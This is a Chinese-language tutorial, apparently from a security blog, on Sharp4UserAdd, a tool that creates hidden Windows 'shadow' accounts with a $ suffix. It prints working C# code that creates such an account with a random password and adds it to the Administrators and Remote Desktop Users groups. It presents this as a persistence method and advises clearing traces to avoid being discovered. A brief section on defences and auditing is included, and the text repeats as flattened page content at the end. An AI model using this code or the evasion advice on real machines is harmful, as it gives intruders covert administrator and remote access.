Sharp4UserAdd: 创建Windows系统影子用户的工具
字数 1027 2025-08-22 12:22:42

Windows系统影子用户创建工具Sharp4UserAdd详解

一、影子用户概念

影子用户(Shadow User)是指在Windows操作系统中那些不易被普通用户或系统管理员察觉的隐藏用户账户。创建影子用户的常见方法是在用户名后面添加$符号(如admin$)。这类用户不会显示在Windows登录界面或用户控制面板中,常用于权限维持阶段。

二、Sharp4UserAdd工具概述

Sharp4UserAdd.exe是一款专门用于创建Windows系统影子账户的工具,具有以下特点:

  • 使用简单,只需指定用户名参数
  • 密码自动随机生成
  • 自动将用户加入管理员组和远程桌面用户组
  • 创建的用户具有隐蔽性

三、基本使用方法

.\Sharp4UserAdd.exe Ivan1ee1

执行后:

  1. 自动创建影子用户Ivan1ee1$
  2. 生成随机密码
  3. 可通过net user Ivan1ee1$查看用户详细信息

四、技术原理详解

1. 核心组件

工具使用.NET框架中的System.DirectoryServices命名空间,通过DirectoryEntry类访问和操作本地计算机的用户和组。

2. 创建用户流程

(1) 连接本地目录服务

DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");

WinNT协议说明:

  • 用于Windows NT 4.0及更高版本
  • 格式:WinNT://<主机名>/<对象类型>/<对象名称>
    • 主机名:目标计算机名称(本地或远程)
    • 对象类型:computer、user、group等
    • 对象名称:用户名或组名

(2) 创建新用户

string user = args[0];
string username = user + "$";  // 添加$符号创建隐藏用户

// 生成10位随机密码
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++) {
    password += chars[randrom.Next(chars.Length)].ToString();
}

// 创建用户并设置密码
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[] { password });
NewUser.CommitChanges();

3. 用户权限提升

(1) 加入Administrators组

DirectoryEntry grp = AD.Children.Find("Administrators", "group");
if (grp != null) {
    grp.Invoke("Add", new object[] { NewUser.Path.ToString() });
}

(2) 加入Remote Desktop Users组

grp = AD.Children.Find("Remote Desktop Users", "group");
if (grp != null) {
    grp.Invoke("Add", new object[] { NewUser.Path.ToString() });
}

加入该组后,用户可通过RDP远程连接计算机。

五、路径格式说明

NewUser.Path返回用户对象的完整路径,格式为:

WinNT://<machinename>/User/<username>

六、安全注意事项

  1. 影子用户虽然隐蔽,但仍可通过特定命令(net user)查看
  2. 工具生成的密码为随机10位,包含大小写字母、数字和特殊字符
  3. 使用后应及时清理痕迹,避免被发现
  4. 仅限合法授权测试使用

七、防御措施

系统管理员可采取以下措施防范影子账户:

  1. 定期检查用户列表,特别是带$后缀的用户
  2. 监控敏感组的成员变更
  3. 启用账户审计策略
  4. 限制高权限账户的创建权限

八、总结

Sharp4UserAdd通过Windows目录服务API创建隐蔽用户账户,并赋予其管理员和远程桌面权限,是红队进行权限维持的有效工具。理解其工作原理有助于攻防双方更好地开展安全工作。

Windows系统影子用户创建工具Sharp4UserAdd详解 一、影子用户概念 影子用户(Shadow User)是指在Windows操作系统中那些不易被普通用户或系统管理员察觉的隐藏用户账户。创建影子用户的常见方法是在用户名后面添加 $ 符号(如 admin$ )。这类用户不会显示在Windows登录界面或用户控制面板中,常用于权限维持阶段。 二、Sharp4UserAdd工具概述 Sharp4UserAdd.exe是一款专门用于创建Windows系统影子账户的工具,具有以下特点: 使用简单,只需指定用户名参数 密码自动随机生成 自动将用户加入管理员组和远程桌面用户组 创建的用户具有隐蔽性 三、基本使用方法 执行后: 自动创建影子用户 Ivan1ee1$ 生成随机密码 可通过 net user Ivan1ee1$ 查看用户详细信息 四、技术原理详解 1. 核心组件 工具使用.NET框架中的 System.DirectoryServices 命名空间,通过 DirectoryEntry 类访问和操作本地计算机的用户和组。 2. 创建用户流程 (1) 连接本地目录服务 WinNT协议说明: 用于Windows NT 4.0及更高版本 格式: WinNT://<主机名>/<对象类型>/<对象名称> 主机名:目标计算机名称(本地或远程) 对象类型:computer、user、group等 对象名称:用户名或组名 (2) 创建新用户 3. 用户权限提升 (1) 加入Administrators组 (2) 加入Remote Desktop Users组 加入该组后,用户可通过RDP远程连接计算机。 五、路径格式说明 NewUser.Path 返回用户对象的完整路径,格式为: 六、安全注意事项 影子用户虽然隐蔽,但仍可通过特定命令( net user )查看 工具生成的密码为随机10位,包含大小写字母、数字和特殊字符 使用后应及时清理痕迹,避免被发现 仅限合法授权测试使用 七、防御措施 系统管理员可采取以下措施防范影子账户: 定期检查用户列表,特别是带 $ 后缀的用户 监控敏感组的成员变更 启用账户审计策略 限制高权限账户的创建权限 八、总结 Sharp4UserAdd通过Windows目录服务API创建隐蔽用户账户,并赋予其管理员和远程桌面权限,是红队进行权限维持的有效工具。理解其工作原理有助于攻防双方更好地开展安全工作。